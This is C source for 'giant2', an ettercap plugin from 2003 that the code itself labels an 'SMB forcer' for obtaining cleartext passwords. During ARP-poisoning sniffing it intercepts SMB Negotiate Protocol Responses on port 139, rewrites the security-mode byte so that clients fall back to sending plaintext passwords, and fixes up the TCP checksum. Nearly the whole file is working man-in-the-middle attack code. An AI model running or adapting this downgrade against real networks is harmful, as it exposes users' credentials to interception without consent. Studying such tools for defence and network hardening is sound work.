/*
    giant2 -- ettercap plugin -- SMB forcer

    Copyright (C) 2003  ALoR <alor@users.sourceforge.net>, NaGA <crwm@freemail.it>

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/

#include "../../src/include/ec_main.h"
#include "../../src/include/ec_version.h"
#include "../../src/include/ec_plugins.h"
#include "../../src/include/ec_inet_structures.h"
#include "../../src/include/ec_inet.h"
#include "../../src/include/ec_inet_forge.h"
#include "../../src/include/ec_error.h"


typedef struct {
   u_char  proto[4];
   u_char  cmd;
   u_char  err[4];
   u_char  flags1;
   u_short flags2;
   u_short pad[6];
   u_short tid, pid, uid, mid;
} SMB_header;

typedef struct {
   u_char  mesg;
   u_char  flags;
   u_short len;
} NetBIOS_header;

// protos...

int Plugin_Init(void *);
int Plugin_Fini(void *);
int Parse_Packet(void *buffer);

// plugin operation

struct plugin_ops giant2_ops = {
   ettercap_version: VERSION,
   plug_info:        "SMB: Try to get cleartext passwords",
   plug_version:     10,
   plug_type:        PT_HOOK,
   hook_point:       PCK_RECEIVED_RAW,
   hook_function:    &Parse_Packet,
};

//==================================

int Plugin_Init(void *params)
{
   return Plugin_Register(params, &giant2_ops);
}

int Plugin_Fini(void *params)
{
   return 0;
}

// =================================

int Parse_Packet(void *buffer)
{

   ETH_header *eth;
   IP_header  *ip;
   TCP_header *tcp;
   RAW_PACKET *pck_raw;
   NetBIOS_header *NetBIOS;
   SMB_header *smb;
   u_char *ptr;
   static int flag=0;

   pck_raw = (RAW_PACKET *)buffer;
   eth = (ETH_header *) pck_raw->buffer;

   if (!Options.arpsniff && !flag)
   {
      Plugin_Hook_Output("You have to use arpsniff to summon giant2...\n");
      flag=1;
   }

   if (eth->type == htons(ETH_P_IP) && Options.arpsniff)
   {
      ip = (IP_header *)(eth+1);
      if ( ip->proto == IPPROTO_TCP )
      {
         tcp = (TCP_header *) ((int)ip + ip->h_len * 4);

         if ( tcp->source==htons(139) )
         {
            NetBIOS = (NetBIOS_header *)((int)tcp + tcp->doff * 4);
            smb = (SMB_header *)(NetBIOS + 1);

            if (memcmp(smb->proto, "\xffSMB", 4) != 0)  return 0;  // it isn't SMB

            ptr = (u_char *)(smb + 1);
   
            // Negotiate Protocol Response
            if (smb->cmd == 0x72 && ptr[3] == 3)
            {
		struct in_addr addr_source;
        	struct in_addr addr_dest;

        	addr_dest.s_addr = ip->dest_ip;
        	addr_source.s_addr = ip->source_ip;

        	Plugin_Hook_Output("Cleartext password between %s and ", inet_ntoa(addr_source));
        	Plugin_Hook_Output("%s forced\n", inet_ntoa(addr_dest));

        	ptr[3] = 1;
                tcp->checksum = 0;
                tcp->checksum = Inet_Forge_Checksum((unsigned short *)tcp, IPPROTO_TCP, ntohs(ip->t_len) - ip->h_len * 4, ip->dest_ip, ip->source_ip);
            }
         }
      }
   }
   return 0;
}


/* EOF */

// vim:ts=3:expandtab
